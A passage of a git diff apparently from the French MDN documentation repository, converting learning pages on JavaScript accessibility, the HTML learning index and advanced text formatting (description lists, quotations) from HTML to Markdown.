accessibles depuis le clavier.** + + - Les utilisateurs doivent pouvoir utiliser la touche de tabulation pour naviguer entre les différents contrôles (les liens, les entrées de formulaires, etc.) en suivant un ordre logique. + - Si vous utilisez les événements liés au pointage (les événéments liés à la souris ou au toucher), les fonctionnalités offertes doivent également être accessibles via le clavier. + - Testez votre site en utilisant uniquement le clavier. + +- **N'utilisez pas de limites de temps arbitraires.** Cela prend plus de temps de naviguer au clavier ou d'écouter le contenu lu par un lecteur d'écran. Il est donc impossible de prévoir combien de temps cela prendra pour qu'un utilisateur ou pour que le navigateur accomplisse une tâche donnée. +- **Les animations doivent être courtes et légères, sans clignotement.** Les clignotements peuvent agacer, ou pire, [entraîner des crises d'épilepsie](http://www.w3.org/TR/UNDERSTANDING-WCAG20/seizure-does-not-violate.html). Si une animation dure plus longtemps que quelques secondes, il faudra fournir une méthode pour l'annuler. +- **Laissez les utilisateurs initier les interactions.** Cela signifie qu'il ne faut pas mettre à jour du contenu, rediriger vers un autre document ou rafraîchir la page automatiquement. Il ne faut pas utiliser de caroussels ou afficher des pop-ups sans aucun avertissement. +- **Ayez un plan de secours pour les utilisateurs qui n'ont pas JavaScript activé.** Certaines personnes désactivent JavaScript afin d'améliorer les performances ou la sécurité. D'autres peuvent rencontrer des problèmes de connectivité qui empêcheraient le chargement des scripts. De plus, certains scripts tiers (publicités, scripts de tracking, extensions de navigateurs) peuvent casser les scripts que vous avez écrit. + + - _A minima_, laissez un court message grâce à la balise {{HTMLElement("noscript")}} : `<noscript>Pour utiliser ce site, merci d'activer JavaScript.</noscript>` + - Idéalement, lorsque c'est possible, dupliquez les fonctionnalités offertes par JavaScript via le HTML et des scripts exécutés côté serveur. + - Si vous souhaitez mettre en place des effets visuels, CSS vous permettra d'y parvenir plus intuitivement. + - _Puisque tout le monde, ou presque, a JavaScript activé, `<noscript>` ne représente donc pas une excuse pour écrire des scripts inaccessibles._ + +## En savoir plus + +- {{htmlelement("script")}} +- {{htmlelement("noscript")}} +- [Une introduction pour utiliser JavaScript de façon accessible, par James Edwards (en anglais)](http://www.sitepoint.com/javascript-accessibility-101/) +- [Les consignes d'accessibilité préconisées par le W3C](http://www.w3.org/TR/WCAG20/) diff --git a/files/fr/learn/html/index.md b/files/fr/learn/html/index.md index 95e31501ca..9cb2a9e77e 100644 --- a/files/fr/learn/html/index.md +++ b/files/fr/learn/html/index.md @@ -11,51 +11,39 @@ tags: translation_of: Learn/HTML original_slug: Apprendre/HTML --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<blockquote> -<div> -<p>Pour créer des sites Web, vous devez connaître le {{Glossary('HTML')}} — technique fondamentale utilisée pour définir la structure d'une page Web. HTML est utilisé pour dire si votre contenu web doit être reconnu en tant que paragraphe, liste, en-tête, lien, image, lecteur multimédia, formulaire ou l'un des nombreux autres éléments disponibles ou même un nouvel élément à définir par vous même.</p> -</div> -</blockquote> +> Pour créer des sites Web, vous devez connaître le {{Glossary('HTML')}} — technique fondamentale utilisée pour définir la structure d'une page Web. HTML est utilisé pour dire si votre contenu web doit être reconnu en tant que paragraphe, liste, en-tête, lien, image, lecteur multimédia, formulaire ou l'un des nombreux autres éléments disponibles ou même un nouvel élément à définir par vous même. -<h2 id="Parcours_dapprentissage">Parcours d'apprentissage</h2> +## Parcours d'apprentissage +L'idéal serait que vous débutiez votre parcours d'apprentissage par l'étude du HTML. Commencez par lire [Introduction au HTML](/fr/docs/Web/Guide/HTML/Introduction). Vous pouvez ensuite passer à l'étude de sujets plus avancés comme : +- les [CSS](/fr/docs/Learn/CSS), et comment les utiliser pour donner un style au HTML (par exemple, modifier la taille du texte et les polices utilisées, ajouter des bordures et des ombres portées, mettre en page avec plusieurs colonnes, ajouter des animations et autres effets visuels). +- le[ JavaScript](/fr/docs/Learn/JavaScript), et comment l'utiliser pour ajouter des fonctionnalités dynamiques aux pages Web (par exemple, trouver votre emplacement et le tracer sur une carte, faire apparaître/disparaître des éléments d'interface utilisateur lorsque vous basculez un bouton, enregistrer les données des utilisateurs localement sur leurs ordinateurs, et bien plus encore). -<p>L'idéal serait que vous débutiez votre parcours d'apprentissage par l'étude du HTML. Commencez par lire <a href="/fr/docs/Web/Guide/HTML/Introduction">Introduction au HTML</a>. Vous pouvez ensuite passer à l'étude de sujets plus avancés comme :</p> +Avant de commencer ce sujet, vous devriez avoir au moins une connaissance de base de l'utilisation des ordinateurs et de l'utilisation passive du Web (c'est-à-dire juste le regarder, de consommer le contenu). Vous devriez avoir un environnement de travail de base tel que précisé dans [Installer les outils de base](/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software), et comprendre comment créer et gérer les fichiers,comme détaillé dans [Gérer les fichiers](/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files) — ces deux articles font partie de notre module [Commencer avec le Web](/fr/docs/Learn/Getting_started_with_the_web) dédié aux débutants. -<ul> - <li>les <a href="/fr/docs/Learn/CSS">CSS</a>, et comment les utiliser pour donner un style au HTML (par exemple, modifier la taille du texte et les polices utilisées, ajouter des bordures et des ombres portées, mettre en page avec plusieurs colonnes, ajouter des animations et autres effets visuels).</li> - <li>le<a href="/fr/docs/Learn/JavaScript"> JavaScript</a>, et comment l'utiliser pour ajouter des fonctionnalités dynamiques aux pages Web (par exemple, trouver votre emplacement et le tracer sur une carte, faire apparaître/disparaître des éléments d'interface utilisateur lorsque vous basculez un bouton, enregistrer les données des utilisateurs localement sur leurs ordinateurs, et bien plus encore).</li> -</ul> +Il est recommandé de passer par [Commencer avec le Web](/fr/docs/Learn/Getting_started_with_the_web) avant d'étudier ce sujet, mais ce n'est pas absolument nécessaire ; une grande partie de ce qui est couvert dans l'article [Les bases du HTML](/fr/docs/Learn/Getting_started_with_the_web/HTML_basics) est également couvert dans notre module [Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML), quoique beaucoup plus en détail. -<p>Avant de commencer ce sujet, vous devriez avoir au moins une connaissance de base de l'utilisation des ordinateurs et de l'utilisation passive du Web (c'est-à-dire juste le regarder, de consommer le contenu). Vous devriez avoir un environnement de travail de base tel que précisé dans <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installer les outils de base</a>, et comprendre comment créer et gérer les fichiers,comme détaillé dans <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Gérer les fichiers</a> — ces deux articles font partie de notre module <a href="/fr/docs/Learn/Getting_started_with_the_web">Commencer avec le Web</a> dédié aux débutants.</p> +## Modules -<p>Il est recommandé de passer par <a href="/fr/docs/Learn/Getting_started_with_the_web">Commencer avec le Web</a> avant d'étudier ce sujet, mais ce n'est pas absolument nécessaire ; une grande partie de ce qui est couvert dans l'article <a href="/fr/docs/Learn/Getting_started_with_the_web/HTML_basics">Les bases du HTML</a> est également couvert dans notre module <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a>, quoique beaucoup plus en détail.</p> +Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les parcourir. Vous devriez commencer par le premier. -<h2 id="Modules">Modules</h2> +- [Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML) + - : Ce module prépare le terrain, en vous familiarisant avec les concepts importants et la syntaxe, en examinant comment appliquer le HTML au texte, comment créer des hyperliens et comment utiliser le HTML pour structurer une page Web. +- [Multimedia et intégration](/fr/docs/Learn/HTML/Multimedia_and_embedding) + - : Ce module explore comment utiliser le HTML pour incorporer du multimédia dans vos pages Web, y compris les diverses façons d'inclure des images, et comment intégrer de la vidéo, de l'audio et même d'autres pages Web entières. +- [Tableaux HTML](/fr/docs/Learn/HTML/Tables) + - : Représenter des sous forme de tableaux sur une page Web de manière compréhensible, {{Glossary("Accessibilité", "accessible")}}} peut être un défi. Ce module porte sur le balisage basique des tableaux, ainsi que des fonctions plus complexes telles que l'implémentation de légendes et de résumés. +- [Formulaire HTML](/fr/docs/Learn/HTML/Forms) + - : Les formulaires sont une partie très importante du Web — ils fournissent la grande partie des fonctionnalités dont vous avez besoin pour interagir avec les sites Web, par exemple enregistrement et connexion, envoi de commentaires, achat de produits et plus encore. Ce module vous permet de commencer à créer la partie des formulaires côté client. -<p>Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les parcourir. Vous devriez commencer par le premier.</p> +## Résolution de problèmes courants en HTML -<dl> - <dt><a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a></dt> - <dd>Ce module prépare le terrain, en vous familiarisant avec les concepts importants et la syntaxe, en examinant comment appliquer le HTML au texte, comment créer des hyperliens et comment utiliser le HTML pour structurer une page Web.</dd> - <dt><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding">Multimedia et intégration</a></dt> - <dd>Ce module explore comment utiliser le HTML pour incorporer du multimédia dans vos pages Web, y compris les diverses façons d'inclure des images, et comment intégrer de la vidéo, de l'audio et même d'autres pages Web entières.</dd> - <dt><a href="/fr/docs/Learn/HTML/Tables">Tableaux HTML</a></dt> - <dd>Représenter des sous forme de tableaux sur une page Web de manière compréhensible, {{Glossary("Accessibilité", "accessible")}}} peut être un défi. Ce module porte sur le balisage basique des tableaux, ainsi que des fonctions plus complexes telles que l'implémentation de légendes et de résumés.</dd> - <dt><a href="/fr/docs/Learn/HTML/Forms">Formulaire HTML</a></dt> - <dd>Les formulaires sont une partie très importante du Web — ils fournissent la grande partie des fonctionnalités dont vous avez besoin pour interagir avec les sites Web, par exemple enregistrement et connexion, envoi de commentaires, achat de produits et plus encore. Ce module vous permet de commencer à créer la partie des formulaires côté client.</dd> -</dl> +[Utilisation du HTML pour la solution de problèmes courants](/fr/docs/Learn/HTML/Howto) fournit des liens vers des contenus expliquant comment utiliser le HTML pour résoudre les problèmes très courants lors de la création d'une page Web : titrer, ajouter des images ou des vidéos, mettre en évidence du contenu, créer un formulaire de base, etc. -<h2 id="Résolution_de_problèmes_courants_en_HTML">Résolution de problèmes courants en HTML</h2> +## Voir aussi -<p><a href="/fr/docs/Learn/HTML/Howto">Utilisation du HTML pour la solution de problèmes courants</a> fournit des liens vers des contenus expliquant comment utiliser le HTML pour résoudre les problèmes très courants lors de la création d'une page Web : titrer, ajouter des images ou des vidéos, mettre en évidence du contenu, créer un formulaire de base, etc.</p> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<dl> - <dt><a href="/fr/docs/Web/HTML">HTML (HyperText Markup Language)</a> sur MDN</dt> - <dd>Le portail de la documentation du HTML sur MDN, comprenant les références détaillées des éléments et des attributs — si vous voulez savoir, par exemple, quels sont les attributs d'un élément ou quelles valeurs peut prendre un attributif, c'est le bon endroit pour débuter.</dd> -</dl>
\ No newline at end of file +- [HTML (HyperText Markup Language)](/fr/docs/Web/HTML) sur MDN + - : Le portail de la documentation du HTML sur MDN, comprenant les références détaillées des éléments et des attributs — si vous voulez savoir, par exemple, quels sont les attributs d'un élément ou quelles valeurs peut prendre un attributif, c'est le bon endroit pour débuter. diff --git a/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.md b/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.md index d3602ccd19..b2b2eb37ee 100644 --- a/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.md +++ b/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.md @@ -15,99 +15,112 @@ tags: translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting original_slug: Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks", "Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML")}} -<div>{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks", "Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML")}}</div> - -<p>Il y a de nombreux autres éléments HTML pour mettre en forme un texte qui n'ont pas été mentionnés dans l'article<a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals"> Les concepts fondamentaux du HTML liés au texte</a>. Les éléments abordés ici sont moins connus mais tout aussi utiles (et ce n'est aucunement une liste complète). Nous voyons ici comment marquer des citations, des listes de description, du code informatique et autres choses relatives au texte : indices et exposants, informations de contact, etc.</p> +Il y a de nombreux autres éléments HTML pour mettre en forme un texte qui n'ont pas été mentionnés dans l'article[ Les concepts fondamentaux du HTML liés au texte](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals). Les éléments abordés ici sont moins connus mais tout aussi utiles (et ce n'est aucunement une liste complète). Nous voyons ici comment marquer des citations, des listes de description, du code informatique et autres choses relatives au texte : indices et exposants, informations de contact, etc. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Être familiarisé avec les bases du HTML, traitées à la page <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le HTML</a> et du formatage de texte HTML, décrit dans les <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre comment utiliser des éléments HTML moins connus pour baliser des fonctions sémantiques avancées.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Être familiarisé avec les bases du HTML, traitées à la page + <a + href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" + >Commencer avec le HTML</a + > + et du formatage de texte HTML, décrit dans les + <a + href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals" + >Fondamentaux du texte HTML</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Apprendre comment utiliser des éléments HTML moins connus pour baliser + des fonctions sémantiques avancées. + </td> + </tr> + </tbody> </table> -<h2 id="Listes_descriptives">Listes descriptives</h2> +## Listes descriptives + +Dans les bases du texte en HTML, nous avons exposé comment on pouvait baliser [des listes simples en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#lists), mais sans mentionner le troisième type de liste que vous rencontrerez à l'occasion — **les listes descriptives**. L'objectif de ces listes est de marquer une série d'éléments et leurs descriptions associées, comme termes et définition, ou bien questions et réponse. Voici l'exemple d'un ensemble de termes et leur définitions : -<p>Dans les bases du texte en HTML, nous avons exposé comment on pouvait baliser <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#lists">des listes simples en HTML</a>, mais sans mentionner le troisième type de liste que vous rencontrerez à l'occasion — <strong>les listes descriptives</strong>. L'objectif de ces listes est de marquer une série d'éléments et leurs descriptions associées, comme termes et définition, ou bien questions et réponse. Voici l'exemple d'un ensemble de termes et leur définitions :</p> + soliloque + Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce). + monologue + Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents. + aparté + Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte. -<pre>soliloque -Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce). -monologue -Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents. -aparté -Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.</pre> +Les listes descriptives utilisent une enveloppe de balisage différente de celle des autres types de listes — {{htmlelement("dl")}} ; chaque terme est en plus entouré d'un élément {{htmlelement("dt")}} (**d**escription **t**erm) et chaque description d'un élément {{htmlelement("dd")}} (**d**escription **d**efinition). Terminons en balisant l'exemple ci‑dessus : + +```html +<dl> + <dt>soliloque</dt> + <dd>Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce).</dd> + <dt>monologue</dt> + <dd>Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents.</dd> + <dt>aparté</dt> + <dd>Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.</dd> +</dl> +``` -<p>Les listes descriptives utilisent une enveloppe de balisage différente de celle des autres types de listes — {{htmlelement("dl")}} ; chaque terme est en plus entouré d'un élément {{htmlelement("dt")}} (<strong>d</strong>escription <strong>t</strong>erm) et chaque description d'un élément {{htmlelement("dd")}} (<strong>d</strong>escription <strong>d</strong>efinition). Terminons en balisant l'exemple ci‑dessus :</p> +Les styles par défaut du navigateur vont afficher les listes de définition avec des descriptions indentées par rapport aux termes. les styles de MDN suivent de très près cette convention, mais soulignent davantage les définitions en les mettant en gras. -<pre class="brush: html"><dl> - <dt>soliloque</dt> - <dd>Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce).</dd> - <dt>monologue</dt> - <dd>Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents.</dd> - <dt>aparté</dt> - <dd>Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.</dd> -</dl></pre> +- soliloque + - : Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce). +- monologue + - : Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents. +- aparté + - : Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte. -<p>Les styles par défaut du navigateur vont afficher les listes de définition avec des descriptions indentées par rapport aux termes. les styles de MDN suivent de très près cette convention, mais soulignent davantage les définitions en les mettant en gras.</p> +Notez qu'il est autorisé d'avoir un terme seul avec de multiples descriptions, par exemple : +```html <dl> - <dt>soliloque</dt> - <dd>Dans une pièce de théâtre, action d'un acteur adressant à lui-même ses pensées ou sentiments intimes et, de la sorte, les faisant partager à son auditoire (mais pas aux autres personnages de la pièce).</dd> - <dt>monologue</dt> - <dd>Dans une pièce de théâtre, action d'un acteur partageant ses pensées à haute voix avec le public et tous les personnages présents.</dd> <dt>aparté</dt> <dd>Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.</dd> + <dd>En écriture, une partie de contenu relative au sujet en cours, mais qui, ne s'inscrivant pas dans le flux principal du contenu, est donc présentée à part (souvent dans un encadré sur le côté).</dd> </dl> +``` -<p>Notez qu'il est autorisé d'avoir un terme seul avec de multiples descriptions, par exemple :</p> - -<pre class="brush: html"> -<dl> - <dt>aparté</dt> - <dd>Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte.</dd> - <dd>En écriture, une partie de contenu relative au sujet en cours, mais qui, ne s'inscrivant pas dans le flux principal du contenu, est donc présentée à part (souvent dans un encadré sur le côté).</dd> -</dl> -</pre> +### Apprentissage interactif : balisez une série de définitions -<h3 id="Apprentissage_interactif_balisez_une_série_de_définitions">Apprentissage interactif : balisez une série de définitions</h3> +Il est temps de se faire la main sur les listes de définitions ; ajoutez les élements au texte brut dans le champ _Code modifiable_ pour que faire apparaître une liste de définitions dans la _Zone de rendu_. Vous pouvez essayer en utilisant vos propes termes et définitions si vous le souhaitez. -<p>Il est temps de se faire la main sur les listes de définitions ; ajoutez les élements au texte brut dans le champ<em> Code modifiable</em> pour que faire apparaître une liste de définitions dans la <em>Zone de rendu</em>. Vous pouvez essayer en utilisant vos propes termes et définitions si vous le souhaitez.</p> +Si vous faites une erreur, vous pouvez toujours réinitialiser grace au bouton _Réinitialiser_. Si vous êtes vraiment bloqué, cliquez sur _Voir la solution_. -<p>Si vous faites une erreur, vous pouvez toujours réinitialiser grace au bouton <em>Réinitialiser</em>. Si vous êtes vraiment bloqué, cliquez sur<em> Voir la solution</em>.</p> +```html hidden +<h2>Zone de rendu</h2> -<pre class="brush: html hidden"><h2>Zone de rendu</h2> - -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> -<textarea id="code" class="input" style="min-height: 100px; width: 95%"> +<textarea id="code" class="input" style="min-height: 100px; width: 95%"> Bacon Le ciment qui unit le monde. Œufs Le liant des gâteaux. Café La boisson qui fait courir le monde le matin. -Une couleur brun léger.</textarea> - -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> - +Une couleur brun léger.</textarea> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -125,11 +138,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> - - +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -159,7 +172,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<dl>\n <dt>Bacon</dt>\n <dd>Le ciment qui unit le monde.</dd>\n <dt>Œufs</dt>\n <dd>Le liant des gâteaux.</dd>\n <dt>Café</dt>\n <dd>La boisson qui fait courir le monde le matin.</dd>\n <dd>Une couleur brun léger.</dd>\n</dl>'; +var htmlSolution = '<dl>\n <dt>Bacon</dt>\n <dd>Le ciment qui unit le monde.</dd>\n <dt>Œufs</dt>\n <dd>Le liant des gâteaux.</dd>\n <dt>Café</dt>\n <dd>La boisson qui fait courir le monde le matin.</dd>\n <dd>Une couleur brun léger.</dd>\n</dl>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -205,104 +218,112 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample('Apprentissage_interactif_balisez_une_série_de_définitions', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Apprentissage_interactif_balisez_une_série_de_définitions', 700, 350, "", "", "hide-codepen-jsfiddle") }} -<h2 id="Citations">Citations</h2> +## Citations -<p>Le HTML possède également des fonctionnalités pour marquer les citations. Le choix de l'élément à utiliser dépend du type de citation : en ligne ou par bloc.</p> +Le HTML possède également des fonctionnalités pour marquer les citations. Le choix de l'élément à utiliser dépend du type de citation : en ligne ou par bloc. -<h3 id="Blocs_de_citation">Blocs de citation</h3> +### Blocs de citation -<p>Si une section ou un contenu de niveau bloc (que ce soit un paragraphe, de multiples paragraphes, une liste, etc.) est cité depuis une autre origine, vous pouvez le signaler en le mettant dans un élément {{htmlelement("blockquote")}} et en incluant une URL qui pointe vers la source de la citation dans un attribut {{htmlattrxref("cite","blockquote")}}. Par exemple, le balisage suivant provient de la page MDN pour l'élément <code><blockquote></code> :</p> +Si une section ou un contenu de niveau bloc (que ce soit un paragraphe, de multiples paragraphes, une liste, etc.) est cité depuis une autre origine, vous pouvez le signaler en le mettant dans un élément {{htmlelement("blockquote")}} et en incluant une URL qui pointe vers la source de la citation dans un attribut {{htmlattrxref("cite","blockquote")}}. Par exemple, le balisage suivant provient de la page MDN pour l'élément `<blockquote>` : -<pre class="brush: html"><p>L'<strong>Élément HTML <code>&lt;blockquote&gt;</code></strong> (ou <em>Élément HTML bloc -de citation</em>) indique que le bloc de texte inclus est une citation étendue.</p></pre> +```html +<p>L'<strong>Élément HTML <code><blockquote></code></strong> (ou <em>Élément HTML bloc +de citation</em>) indique que le bloc de texte inclus est une citation étendue.</p> +``` -<h4>Exemple de bloc de citation</h4> -<p>Pour le changer en bloc de citation, on ferait simplement ceci :</p> +#### Exemple de bloc de citation -<pre class="brush: html"><blockquote cite="/fr/docs/Web/HTML/Element/blockquote"> - <p>L'<strong>Élément HTML <code>&lt;blockquote&gt;</code></strong> (ou <em>Élément HTML bloc de citation</em>) - indique que le bloc de texte inclus est une citation étendue.</p> -</blockquote></pre> +Pour le changer en bloc de citation, on ferait simplement ceci : -<p>Le navigateur l'affichera par défaut sous forme d'un paragraphe indenté, avec l'indication qu'il s'agit d'une citation ; MDN agit de même et y ajoute un style personnalisé :</p> -<p>{{EmbedLiveSample("Blocs_de_citation")}}</p> +```html +<blockquote cite="/fr/docs/Web/HTML/Element/blockquote"> + <p>L'<strong>Élément HTML <code><blockquote></code></strong> (ou <em>Élément HTML bloc de citation</em>) + indique que le bloc de texte inclus est une citation étendue.</p> +</blockquote> +``` -<h3 id="Citations_en_ligne">Citations en ligne</h3> +Le navigateur l'affichera par défaut sous forme d'un paragraphe indenté, avec l'indication qu'il s'agit d'une citation ; MDN agit de même et y ajoute un style personnalisé : -<p>Les citations en ligne fonctionnent exactement de la même manière, sauf que l'on utilise l'élément {{htmlelement("q")}}. Par exemple, le balisage suivant contient une citation de la page MDN <code><q></code> :</p> +{{EmbedLiveSample("Blocs_de_citation")}} -<h4>Exemple de citation en ligne</h4> +### Citations en ligne -<pre class="brush: html"><p>L'élément citation — <code>&lt;q&gt;</code> — est <q cite="/fr/docs/Web/HTML/Element/q">prévu -pour de courtes citations ne nécessitant pas un nouvel alinéa</q>.</p></pre> +Les citations en ligne fonctionnent exactement de la même manière, sauf que l'on utilise l'élément {{htmlelement("q")}}. Par exemple, le balisage suivant contient une citation de la page MDN `<q>` : -<p>Le navigateur l'affichera par défaut comme du texte normal entre guillemets pour indiquer une citation, comme ceci :</p> +#### Exemple de citation en ligne -<p>{{EmbedLiveSample("Exemple_de_citation_en_ligne")}}</p> +```html +<p>L'élément citation — <code><q></code> — est <q cite="/fr/docs/Web/HTML/Element/q">prévu +pour de courtes citations ne nécessitant pas un nouvel alinéa</q>.</p> +``` -<h3 id="Citations_2">Citations</h3> +Le navigateur l'affichera par défaut comme du texte normal entre guillemets pour indiquer une citation, comme ceci : -<p>Le contenu de l'attribut {{htmlattrxref("cite","blockquote")}} semble utile, malheureusement les navigateurs, lecteurs d'écran, etc. n'en font pas grand chose. Il n'y a pas possibilité de faire afficher différemment au navigateur le contenu d'un <code>cite</code> sans utiliser votre propre JavaScript ou style CSS. Si vous souhaitez rendre disponible la source de la citation sur votre page, la meilleure façon de le faire est d'inclure l'élément {{htmlelement("cite")}} à coté de l'élément citation. Cet élément est vraiment destiné à contenir le nom de la source de la citation — c'est-à-dire le nom du livre ou de la personne auteur de la citation — mais il n'y a aucune raison pour laquelle vous n'avez pas pu lier le texte à l'intérieur de <code><cite></code> à la source de la citation d'une manière ou d'une autre :</p> +{{EmbedLiveSample("Exemple_de_citation_en_ligne")}} -<pre class="brush: html"><p>Selon la <a href="/fr/docs/Web/HTML/Element/blockquote"> -<cite>page blockquote du MDN</cite></a>: -</p> +### Citations -<p>L'<strong>Élément HTML <code>&lt;blockquote&gt;</code></strong> (ou <em>Élément HTML bloc de citation</em>) - indique que le bloc de texte inclus est une citation étendue.</p> +Le contenu de l'attribut {{htmlattrxref("cite","blockquote")}} semble utile, malheureusement les navigateurs, lecteurs d'écran, etc. n'en font pas grand chose. Il n'y a pas possibilité de faire afficher différemment au navigateur le contenu d'un `cite` sans utiliser votre propre JavaScript ou style CSS. Si vous souhaitez rendre disponible la source de la citation sur votre page, la meilleure façon de le faire est d'inclure l'élément {{htmlelement("cite")}} à coté de l'élément citation. Cet élément est vraiment destiné à contenir le nom de la source de la citation — c'est-à-dire le nom du livre ou de la personne auteur de la citation — mais il n'y a aucune raison pour laquelle vous n'avez pas pu lier le texte à l'intérieur de `<cite>` à la source de la citation d'une manière ou d'une autre : -<p>L'élément citation — <code>&lt;q&gt;</code> — est <q cite="/fr/docs/Web/HTML/Element/q">prévu - pour de courtes citations ne nécessitant pas un nouvel alinéa</q>.</p> - — <a href="/fr/docs/Web/HTML/Element/q"> -<cite>page q du MDN</cite></a>.</p></pre> +```html +<p>Selon la <a href="/fr/docs/Web/HTML/Element/blockquote"> +<cite>page blockquote du MDN</cite></a>: +</p> -<p>Les citations sont affichées avec un police italique par défaut. Vous pouvez voir l'affichage de ce code dans l'exemple <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/quotations.html">quotations.html</a>.</p> +<p>L'<strong>Élément HTML <code><blockquote></code></strong> (ou <em>Élément HTML bloc de citation</em>) + indique que le bloc de texte inclus est une citation étendue.</p> +<p>L'élément citation — <code><q></code> — est <q cite="/fr/docs/Web/HTML/Element/q">prévu + pour de courtes citations ne nécessitant pas un nouvel alinéa</q>.</p> + — <a href="/fr/docs/Web/HTML/Element/q"> +<cite>page q du MDN</cite></a>.</p> +``` +Les citations sont affichées 